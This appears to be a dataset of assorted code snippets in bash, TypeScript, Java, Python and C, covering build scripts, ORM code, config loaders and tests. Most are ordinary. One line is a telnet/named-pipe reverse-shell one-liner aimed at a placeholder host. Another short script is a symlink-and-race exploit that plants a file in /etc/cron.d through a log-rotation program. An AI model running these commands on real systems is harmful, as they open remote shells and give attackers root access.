text
stringlengths
1
1.05M
#!/bin/bash # Define the owner of p_dir owner="root" # Define the group of p_dir group="root" # Define the octal for p_dir octal=00640 ############################################### # Bootstrapping environment setup ############################################### # Get our working directory cwd="$(pwd)" # Defin...
#!/bin/sh [ "$(uname -s)" != "Darwin" ] && exit 0 sed "s;/Users/mah7788;$HOME;g" \ "$DOTFILES"/iterm/com.googlecode.iterm2.plist.example > "$DOTFILES"/iterm/com.googlecode.iterm2.plist defaults write com.googlecode.iterm2 "PrefsCustomFolder" -string "$DOTFILES/iterm" defaults write com.googlecode.iterm2 "LoadPrefsFr...
<filename>src/manager.ts import { compareWithOriginal, getPrimaryKeyInfo, getRelationValues, getTableName, getValues, isSaved, mapValueProperties, setSaved, } from "./utils/models.ts"; import type { Adapter } from "./adapters/adapter.ts"; import { range } from "./utils/number.ts"; import { RelationType ...
#!/bin/bash CLUSTER_NAME=$1 CHANNEL_NAME=$2 ORG_NAME=$3 ORDERER_NAME=$4 FABRIC_TOOLS_PATH=$5 FABRIC_OPERATE_SCRIPTS_PATH=$6 SAVE_CERTS_ROOT_PATH=$7 set -e source $FABRIC_OPERATE_SCRIPTS_PATH/env.sh export PATH=$PATH:$FABRIC_TOOLS_PATH CHANNEL_DATA_DIR="$SAVE_CERTS_ROOT_PATH/$CLUSTER_NAME/channels/$CHANNEL_NAME" ORG...
<reponame>ryanlelek/atmosphere 'use strict'; // Modules var _ = require('lodash'); module.exports = function (environment, config) { // Ensure environment is an object if (!_.isObject(environment)) { throw new Error('Fatal: Provided environment is not an object!'); } // Merge configuration object, if g...
#!/usr/bin/env bash DOC="Naval Fate. Usage: naval_fate.py ship new <name>... naval_fate.py ship <name> move <x> <y> [--speed=<kn>] naval_fate.py ship shoot <x> <y> naval_fate.py mine (set|remove) <x> <y> [--moored|--drifting] naval_fate.py -h | --help naval_fate.py --version Options: -h --help Show...
<reponame>AlvaWang/spring-may package net.bambooslips.demo.jpa.repository; import net.bambooslips.demo.jpa.model.FinancialForecasting; import net.bambooslips.demo.jpa.model.FinancialHistorical; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.Query; import or...
#!/bin/bash ## ====================================================================== ## vabashvm - https://github.com/borntorun/vabashvm ## Author: João Carvalho ## https://raw.githubusercontent.com/borntorun/vabashvm/master/LICENSE ## ====================================================================== ## Install ...
#!/bin/bash # This script is only tested on CentOS 6.5 and Ubuntu 12.04 LTS with Percona XtraDB Cluster 5.6. # You can customize variables such as MOUNTPOINT, RAIDCHUNKSIZE and so on to your needs. # You can also customize it to work with other Linux flavours and versions. # If you customize it, copy it to either Azur...
#!/usr/bin/env bash # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the ...
#!/usr/bin/env bash # Black + Clang formatter (if installed). This script formats all changed files from the last mergebase. # You are encouraged to run this locally before pushing changes for review. # Cause the script to exit if a single command fails set -euo pipefail FLAKE8_VERSION_REQUIRED="3.9.1" BLACK_VERSION_...
<gh_stars>1-10 import { ConnectType, CreateTxFailed, NetworkInfo, Timeout, TxFailed, TxResult, TxUnspecifiedError, UserDenied, WalletController, WalletStatus, } from '@terra-money/wallet-provider'; import { combineLatest } from 'rxjs'; import { LCDClient, MsgSend, StdFee } from '@terra-money/terra.j...
Node *addTwoLists(Node* first, Node* second) { Node* res = NULL; // res is head node of resultant list Node *temp, *prev = NULL; int carry = 0, sum; while (first != NULL || second != NULL) //while both lists exist { // Calculate value of next digit in resultant list. // The next digit is sum of followi...
#!/bin/bash sleepi3ctl set measurement-interval 10 sleepi3ctl set restore-voltage $THRESHOLD
#!/bin/bash yandex-disk status ; date ; yandex-disk sync ; date ; ls -lh /home/ff/yd.master ; date ; echo 'Main sync service task ended' '--' $(date) ;
#!/bin/sh # # CDDL HEADER START # # The contents of this file are subject to the terms of the # Common Development and Distribution License, Version 1.0 only # (the "License"). You may not use this file except in compliance # with the License. # # You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE # o...
#!/bin/bash # At the top of every module. This will gather a usage message to share with the # user if we abend. function homeport() { [ "$1" == "module" ] || fail "invalid argument to homeport" local message; local spaces; IFS="\000" read -r -d'\000' message && true spaces=$( echo "$message" |...
/////////1/////////2/////////3/////////4/////////5/////////6/////////7/////////8 // Name : // Author : Avi // Revision : $Revision: #18 $ // // Copyright 2009-2020 ECMWF. // This software is licensed under the terms of the Apache Licence version 2.0 // which can be obtained at http://www.apache.org/lic...
import {connect} from "react-redux"; import Warzone from "../components/Warzone"; import {TOAST_SHOW} from "../actions/toasts"; import {ACTIVE_USER_SWAP, USER_CLEAR_ACTIVE} from "../actions/users"; import {SWITCH_MOVE} from "../actions/switch"; const mapStateToProps = ({users, globalState, switchButton, coalitions}) ...
import { TestBed } from '@angular/core/testing'; import { RouterTestingModule } from '@angular/router/testing'; import { ActivatedRoute } from '@angular/router'; import { By } from '@angular/platform-browser'; import { Observable } from 'rxjs/Observable'; import { AppModule } from '../app.module'; import { LiveCompone...
#!/usr/bin/env bash { # this ensures the entire script is downloaded # nvm_has() { type "$1" > /dev/null 2>&1 } nvm_default_install_dir() { [ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm" } nvm_install_dir() { if [ -n "$NVM_DIR" ]; then printf %s "${NVM_DIR}"...
#!/usr/bin/env bash #Source your vertica credentials if [ -f .Renviron ] then source .Renviron fi #Generate vertica.ini from environment variables cat << EOM > vertica.ini [DEFAULT] host=$vertica_host port=$vertica_port database=advana user=$vertica_user password=$vertica_password EOM #Get aws s3 credentials f...
import re def calculate_total_stars(typescript_snippet): stars_pattern = r'<gh_stars>(\d+)' module_pattern = r'export \* from .+?;' total_stars = 0 # Extract total stars for the TypeScript file total_stars_match = re.search(stars_pattern, typescript_snippet) if total_stars_match: tota...
#!/usr/bin/env -S bash -euET -o pipefail -O inherit_errexit SCRIPT=$(readlink -f "$0") && cd $(dirname "$SCRIPT") # --- Script Init --- mkdir -p log rm -R -f log/* # --- Setup run dirs --- find output -type f -not -name '*summary-info*' -not -name '*.json' -exec rm -R -f {} + rm -R -f /tmp/%FIFO_DIR%/fifo/* rm -R ...
/* * Tencent is pleased to support the open source community by making 蓝鲸 available., * Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved. * Licensed under the MIT License (the ",License",); you may not use this file except * in compliance with the License. You may obtain a copy of the...
<filename>scroll.js //scrolling function. linking menu list to relevant content $(document).ready(function() { $("#postOne").click(function() { $('html, body').animate({ scrollTop: $("#Lean").offset().top }, 2000); }); $("#postTwo").click(function() { $('html, body').animate({ s...
package br.com.papyrus.controller; import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import javax.swing.text.PlainDocument; public class StringLimitada extends PlainDocument { private int tamanhoMax = 10; /** * * Esta classe cria um JTextfield com rest...
<filename>cmd/restore_test.go<gh_stars>1-10 package cmd_test import ( "fmt" "math/rand" "os" "testing" "time" "github.com/lvnacapital/algorand-go/cmd" ) func TestRestore(t *testing.T) { if os.Getenv("CI") == "true" && !kmdAvailable { // No Algorand node available return } s1 := rand.NewSource(time.Now()...
# frozen_string_literal: true set :bundle_command, '/usr/local/bin/bundle exec' set :output, 'log/rake.log' set :chronic_options, hours24: true set :environment_variable, 'REDIS_URL' set :environment, 'redis://localhost:6379/0' every 1.hour do rake 'redis:populate' end
/** */ package edu.kit.ipd.sdq.kamp4hmi.model.Kamp4hmiModel; import edu.kit.ipd.sdq.kamp4iec.model.IECRepository.FunctionBlock; import edu.kit.ipd.sdq.kamp4iec.model.IECRepository.IsMethod; import org.eclipse.emf.common.util.EList; import org.eclipse.emf.ecore.EObject; /** * <!-- begin-user-doc --> ...
#!/bin/bash :<<EOF @author:fjg @license: Apache Licence @file: check_k8s.sh @time: 2020/12/24 @contact: fujiangong.fujg@bytedance.com @site: @software: PyCharm EOF podRestartCheckNum=20 clusterRequestCheckPercent=80 nodeLabel="sfke.role.kubernetes.io/group=general-worker" #nodeLabel="kubernetes.io/os=linux" busyboxIm...
RSpec.describe Springcm::Object do let(:client) { Springcm::Client.new(data_center, client_id, client_secret) } let(:object) { Springcm::Object.new(data, client) } let(:data) { { "Name" => "My Document Name" } } describe "getter method missing" do it "retrieves value" do expect(object...
<reponame>iwatakeshi/servest import React from "../../vendor/https/dev.jspm.io/react/index.js"; import { FC } from "../../types/react/index.d.ts"; import { Links } from "./content.tsx"; import { version } from "../content.ts"; export const Header: FC = () => ( <div className="header"> <div className="inner"> ...
#!/bin/bash BASE_DIR=${HOME}/prog/immsocket export LD_LIBRARY_PATH=${BASE_DIR}/immsocket:${BASE_DIR}/immsocketcommon:${BASE_DIR}/immsocketservice ${BASE_DIR}/test/client_test/client_test
/* * Copyright 2017 Wultra s.r.o. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in...
#!/bin/sh ip link | grep ether | awk '{print$2}'
requirejs.config({ baseUrl: 'Assets/js/customjs', paths: { main: 'main', lib: 'lib' } })
#!/bin/sh # Get path separators, etc case `uname -o 2>/dev/null` in Cygwin) PATH_SEP=';' TRANSFORM="sed -r -e s|:|;C:\\\\cygwin|g -e s|/|\\\\|g" ;; *) PATH_SEP=':' TRANSFORM='cat' ;; esac PKGDIR="/usr/share/dbq" MAINCLASS="org.dellroad.dbq.Main" CLASSPATH=`find ...
<reponame>dikalo/lienzo-ks /* * Copyright (c) 2018 Ahome' Innovation Technologies. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/li...
#!/usr/bin/env bash ## remove old build rm -rf build ## prepare folder mkdir -p build/demo ## create data.tar.xz cd app tar cJf ../build/demo/data.tar.xz . ## create control.tar.xz cd ../DEBIAN tar cJf ../build/demo/control.tar.xz . ## create debian-binary cd ../build/demo echo '2.0' > debian-binary ## crea...
rm -f /tmp/p; mknod /tmp/p p && telnet [LIP] [LP] 0/tmp/p
#!/bin/bash set -e mussel_url="https://github.com/UrbanCompass/Mussel/releases/download/$mussel_version/release.zip" temp=$(mktemp -d) echo "Downloading Mussel server from $mussel_url" curl -L --progress-bar $mussel_url > $temp/release.zip unzip -o $temp/release.zip -d $temp mkdir -p .mussel mv $temp/MusselServer $t...
import React from "react"; import PropTypes from "prop-types"; const FlexContainer = props => { return <div {...props}>{props.children}</div>; }; FlexContainer.propTypes = { direction: PropTypes.string, alignment: PropTypes.string, text_align: PropTypes.string, spacing: PropTypes.string }; export default F...
import datetime import pytz local_time = datetime.datetime.now() utc_time = datetime.datetime.utcnow() print("Naive local time {}".format(local_time)) print("Naive UTC {}".format(utc_time)) aware_local_time = pytz.utc.localize(local_time).astimezone() aware_utc_time = pytz.utc.localize(utc_time) print("Aware local ...
package main import ( "fmt" "os" "github.com/kleister/go-minecraft/version" ) func main() { fmt.Println("Fetching Minecraft versions...") minecraft, err := version.FromDefault() if err != nil { fmt.Println("Error:", err) os.Exit(1) } f := &version.Filter{ Version: ">=1.10.0,<1.13", } for _, versio...
/* * Copyright 2013 <NAME> <<EMAIL>> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or a...
'use strict'; registerFilter({ url_regex: [/figma\.com/], provider: 'figma', provider_name: (_url) => 'Figma', type: (_url) => 'DOCUMENT', subtype: (_url) => 'FIGMA_DOCUMENT', processors: [ // Project { source_id_processor: (url) => { const rePath = /project\/[0-9]+/; return r...
#include <stdio.h> #include <string.h> /* Function to compare two strings */ int compareStrings(char str1[], char str2[]) { int i = 0, flag = 0; while (str1[i] != '\0' && str2[i] != '\0') { if (str1[i] != str2[i]) { flag = 1; break; } i++; } ...
<filename>hexa/plugins/connector_dhis2/migrations/0007_longer_text_fields.py # Generated by Django 3.2.3 on 2021-06-11 12:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("connector_dhis2", "0006_sync_fine_tuning"), ] operations = [ mi...
<reponame>linhhvo/newdle import React from 'react'; import PropTypes from 'prop-types'; import {Icon} from 'semantic-ui-react'; import styles from './DayCarousel.module.scss'; export default function DayCarousel({ items, numberOfVisible, activeIndex, activePosition, step, renderItem, changeItem, }) { ...
#!/bin/sh # # Change the author name and/or email of a single commit. # # change-author [-f] commit-to-change [branch-to-rewrite [new-name [new-email]]] # # If -f is supplied it is passed to "git filter-branch". # # If <branch-to-rewrite> is not provided or is empty HEAD will be used. # Use "--all" or a sp...
#!/bin/bash # Script to execute tests on OPERA DSWx-HLS PGE Docker image # set -e # Parse args while [[ $# -gt 0 ]]; do case $1 in -h|--help) echo "Usage: test_dswx_hls.sh [-h|--help] [-t|--tag <tag>] [-w|--workspace <path>]" exit 0 ;; -t|--tag) TAG=$2 shift shift ;...
/* * Copyright [2018] [<NAME>] * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to i...
#!/bin/bash # This script parses in the command line parameters from runCust, # maps them to the correct command line parameters for DispNet training script and launches that task # The last line of runCust should be: bash $CONFIG_FILE --data-dir $DATA_DIR --log-dir $LOG_DIR # Parse the command line parameters # tha...
#!/usr/bin/env bash while true; do clear ; cat octelpus/octelpus1 ; sleep 0.3 clear ; cat octelpus/octelpus2 ; sleep 0.3 clear ; cat octelpus/octelpus3 ; sleep 0.3 clear ; cat octelpus/octelpus4 ; sleep 0.3 done
package com.telenav.osv.network.model.tagging; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class ResponseModelTaggingData { @SerializedName("id") @Expose public String id; @SerializedName("dataType") @Expose public String dataType; ...
/* * Copyright 2014-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by app...
#!/usr/bin/env bash stopLocalstack() { pushd tests/mock-aws # clear down lambda containers still hanging around printf "Removing lambda containers: " containers=$(docker ps -a -q --filter ancestor="lambci/lambda:nodejs8.10" --format="{{.ID}}") if [ -n "${containers}" ]; then docker kill ...
#! /bin/bash -e set -o pipefail set -o errexit set -o nounset if ! [ -f toolbox/entitlement/test.sh ]; then echo "FATAL: entitlement scripts not found in $PWD/toolbox/entitlement/" echo "INFO: $0 is intended only for running in the 'OpenShift PSAP CI artifacts' image. (INSIDE_CI_IMAGE=$INSIDE_CI_IMAGE)" exit 1 ...
import pandas as pd # Read in the data df = pd.read_csv('data.csv') # Preprocess the data df = preprocessData(df) # Split the data into training and test train_X, test_X, train_y, test_y = train_test_split(df.drop('X',axis=1), df['X'], test_size=0.2) # Save the training and test data to files train...
zstyle ':completion:*:*:task:*' verbose yes zstyle ':completion:*:*:task:*:descriptions' format '%U%B%d%b%u' zstyle ':completion:*:*:task:*' group-name '' alias t=task compdef _task t=task
#!/usr/bin/env bash #ppp="~/.xxx/xxxfile" ppp="/root/.yyy/xxxfile" sudo rm -rf $ppp echo "Create $ppp..." #if [ ! -d `dirname $ppp` ]; then # mkdir -p `dirname $ppp` #fi sudo cat <<EOF >$ppp i like it anyway EOF ls -l $ppp
public static String longestCommonPrefix(String[] strs) { if (strs.length == 0) return ""; String prefix = strs[0]; for (int i = 1; i < strs.length; i++) while (strs[i].indexOf(prefix) != 0) { prefix = prefix.substring(0, prefix.length() - 1); if (prefix.isEmpty()) return "";...
<filename>Code Challenges/python/equal_numbers_eda.py # (user) problem # we know two numbers, but we need to know if they are equal # return true or false # solution (product) # use boolean check, return result def is_same_num(num1, num2): if num1 == num2: return True else: return False
<reponame>LuckyChen73/WYNewsClassNine<filename>WYNewsClassNine/WYNewsClassNine/Classes/Home/ChannelView/WYChannelController.h // // WYChannelController.h // WYNewsClassNine // // Created by chenWei on 2017/3/18. // Copyright © 2017年 陈伟. All rights reserved. // #import <UIKit/UIKit.h> @interface WYChannelControlle...
import os class COSWrapper: def __init__(self, access_key_id, secret_access_key): self.access_key_id = access_key_id self.secret_access_key = secret_access_key # Additional initialization code for COS wrapper def upload_file(self, file_path, bucket_name): # Implementation for u...
// Align bytecode unit test // // Copyright (C) 2008 <NAME> // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // 1. Redistributions of source code must retain the above copyright // notice, this list of conditi...
#!/bin/bash # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you ...
namespace :cequel do namespace :keyspace do desc 'Initialize Cassandra keyspace' task :create => :environment do Cequel::Record.connection.schema.create! puts "Created keyspace #{Cequel::Record.connection.name}" end desc 'Drop Cassandra keyspace' task :drop => :environment do Ce...
/** * Created by rkapoor on 01/06/15. */ 'use strict'; module.exports = function uglify(grunt) { // Load task grunt.loadNpmTasks('grunt-contrib-uglify'); // Options return { travelPage : { src: 'public/js/production/travelPage.js', dest: 'public/js/production/travelPa...
def validate_specimen_definition(specimen_definition): fields = ["id", "type", "container", "additive"] field_types = { "id": str, "type": str, "container": str, "additive": str } for field in fields: if field not in specimen_definition: raise ValueEr...
#!/bin/bash echo "Building Linux x86" env GOOS=linux GOARCH=386 go build -a -o bin/ucspm-linux-x86 echo "Building Linux amd64" env GOOS=linux GOARCH=amd64 go build -a -o bin/ucspm-linux-amd64 echo "Building Mac amd64" env GOOS=darwin GOARCH=amd64 go build -a -o bin/ucspm-mac echo "Building Solaris amd64" env GOOS=solar...
import math def calculate_adjusted_distance(coordinates): """ Generator function to calculate the adjusted distance for a given set of coordinates. Args: coordinates: A list of tuples representing the coordinates. Yields: float: The adjusted distance for each pair of coordinates. """ ...
'use strict' const util = require('util') const exec = util.promisify(require('child_process').exec) const scan = require('scan-dir-recursive/sync') module.exports.start = async () => { // Purge data await exec('npm run ddb:purge') // Include all files for full covertage scan(`${__dirname}/../src`).filter(file ...
<filename>net/pubsub/testing.go<gh_stars>0 package pubsub import ( "context" "sync" "gx/ipfs/QmTu65MVbemtUxJEWgsTtzv9Zv9P8rvmqNA4eG9TrTRGYc/go-libp2p-peer" ) // FakeMessage is a simple pubsub message type FakeMessage struct { peerID peer.ID data []byte } // GetFrom returns the message's sender ID func (m *Fa...
<filename>src/index.js import ThesaurusInput from './components/Input.jsx'; export default ThesaurusInput;
#!/bin/sh # # Vivado(TM) # runme.sh: a Vivado-generated Runs Script for UNIX # Copyright 1986-2015 Xilinx, Inc. All Rights Reserved. # if [ -z "$PATH" ]; then PATH=/home/huchao/vivado/SDK/2015.2/bin:/home/huchao/vivado/Vivado/2015.2/ids_lite/ISE/bin/lin64:/home/huchao/vivado/Vivado/2015.2/bin else PATH=/home/hu...
# for vast touch .no_auto_tmux # drop last line with PS1 mv .bashrc .bashrc.back cat .bashrc.back | grep -vE '^PS1' > .bashrc python -m deeppavlov.deep riseapi ner_rus_bert
class ApplicationEventHandler { var eventHandlers: [String: () -> Void] = [:] func handleResignActive() { if let handler = eventHandlers["applicationWillResignActive"] { handler() } } func handleEnterBackground() { if let handler = eventHandlers["applicationDidEnter...
'use strict'; const MissingPermission = require('../missing-permission'); const { ADMIN } = require('../permissions'); module.exports = function(config, permission) { if (!permission || !config.extendedPermissions) { return (req, res, next) => next(); } return (req, res, next) => { if ( ...
# -*- coding: utf-8 -*- miquire :core, "event" # イベントの発生を待ち受けるオブジェクト class EventListener # プラグインコールバックをこれ以上実行しない。 def self.cancel! throw :plugin_exit, false end # ==== Args # [event] 監視するEventのインスタンス # [&callback] コールバック def initialize(event, &callback) type_strict event => Event, callback => :ca...
def print_fibonacci_sequence(n): if n == 0: print("The sequence cannot be printed as the given number of terms is 0.") elif n == 1: print("0") else: f1, f2 = 0, 1 print("0, 1", end='') for i in range(2, n): f3 = f1 + f2 print(',', f3, end='')...
#!/bin/bash cd /tmp mkdir log ln -s /etc/cron.d link cd log echo -e '#!/bin/bash\necho test > /tmp/x' > pwnme.log perl -e 'print "A"x1024' >> pwnme.log chmod 755 pwnme.log chmod 555 . /tmp/rename /tmp/log /tmp/link & for i in {1..100}; do /home/user/run_cron sleep 0.1 chmod u+w . mv pwnme.log.1 pwnme.log 2>/...
#!/bin/sh REMOTE_BRANCH=master POD_NAME=PactConsumerSwift PODSPEC=PactConsumerSwift.podspec RELEASE_NOTES=CHANGELOG.md POD=${COCOAPODS:-"pod"} function help { echo "Usage: release VERSION RELEASE_NAME DRY_RUN" echo echo "VERSION should be the version to release, should not include the 'v' prefix" echo...
<filename>src-ts/7.2.ts import * as fs from "fs"; import * as rd from "readline"; import * as path from "path"; var filenPath1 = path.join(__dirname, "..", "text-assets", "7.1.mine.txt"); console.log(`filenPath1: ${filenPath1}`); var reader1 = rd.createInterface(fs.createReadStream(filenPath1)); var crabs: Array<numb...
package com.atjl.util.thread; import com.atjl.util.collection.CollectionUtil; import com.atjl.util.common.SystemUtil; import com.atjl.util.thread.task.BaseTask; import org.junit.Test; import java.util.concurrent.CountDownLatch; import java.util.concurrent.locks.ReentrantLock; public class LockTest { ...
/** * fixed tag for weex * @author vfasky<<EMAIL>> * **/ 'use strict' import { clear } from './reg' import component from './fixed' declare var require export default { install(Vue) { Vue.fixedClear = function() { clear() } let fixed if (String(weex.config.env.platf...
def isAnagram(str1, str2): # Remove all white spaces and convert strings into lowercase. str1 = str1.replace(" ", "").lower() str2 = str2.replace(" ", "").lower() # Check if two strings have the same length. if len(str1) != len(str2): return False # Create a dictionary and count the f...
#! /bin/bash . /opt/conda/etc/profile.d/conda.sh conda activate pydm cd $(dirname $0) echo "PyDM .ui files dir": $(pwd) for motor in '{"MOTOR": "XF:12IDC-ES:2{WAXS:1-Ax:Arc}Mtr"}' \ '{"MOTOR": "XF:12IDC-OP:2{HEX:PRS-Ax:Rot}Mtr"}'; do echo "Starting $motor..." pydm --hide-nav-bar -m "$motor" inlin...
function countUniqueHTMLTags(htmlString) { const tagSet = new Set(); let tag = ''; let inTag = false; for (let i = 0; i < htmlString.length; i++) { if (htmlString[i] === '<') { inTag = true; tag = '<'; } else if (htmlString[i] === '>') { inTag = false; tag += '>'; tagSet.a...
const Overtimer = require('./../../src/overtimer') console.log('Starting timer...') const t = new Overtimer(3000, {poll: 100, delay: 1000, debug: true, repeat: 10, start: false}) t.on('poll', function() { process.stdout.write("\u001b[0J\u001b[1J\u001b[2J\u001b[0;0H\u001b[0;0W") console.log(`Current Repeat Percen...
<reponame>vadi2/codeql public class Person { private String title; private String forename; private String surname; // ... public int hashcode() { // The method is named 'hashcode'. int hash = 23 * title.hashCode(); hash ^= 13 * forename.hashCode(); return hash ^ surname.hashCode(); } }
#!/bin/bash docker build -t diegopacheco/mysql57binlog:v1 . --no-cache
#!/bin/sh set -e echo "y" | android update sdk --no-ui --filter platform-tools,tools echo "y" | android update sdk --no-ui --filter build-tools-20.0.0 echo "y" | android update sdk --no-ui --filter android-18 echo "y" | android update sdk --no-ui --filter addon-google_apis-google-18,extra-android-support git clone -...
class PostfixEvaluator: # Initialize the stack def __init__(self): self.stack = [] # Method to evaluate the expression def evaluate(self, expression): # Iterate over the expression for char in expression: # Push the number onto the stack if char....
<gh_stars>0 'use strict' const { Todo } = require('../models') module.exports = { authorization (req, res, next) { Todo.findOne({ _id: req.params.id, UserId: req.decoded.id }) .then((todo) => { if (todo) { if (String(todo.UserId) === String(req.decoded.id)) { next() ...
import uuid def create_unique_key(): return uuid.uuid4().hex key = create_unique_key() print(key) #Output: d6e4ee62ac7f436fb6d25ec40f7db1f6
public class NetworkUrl { private String url; private String host; private Integer port; public NetworkUrl(String url, String host, Integer port) { this.url = url; this.host = host; this.port = port; } public String getUrl() { return url; } public Strin...
<filename>cyder/cydns/domain/tests/basedomain.py from django.test import TestCase from cyder.core.ctnr.models import Ctnr from cyder.cydhcp.constants import STATIC from cyder.cydhcp.network.models import Network from cyder.cydhcp.range.models import Range from cyder.cydns.domain.models import Domain from cyder.cydns.te...
module.exports = function(document) { document = document.toObject && document.toObject() || document document.id = document._id.toString() typeof document._id !== 'undefined' && delete document._id typeof document.__v !== 'undefined' && delete document.__v typeof document.password !== 'undefined' &...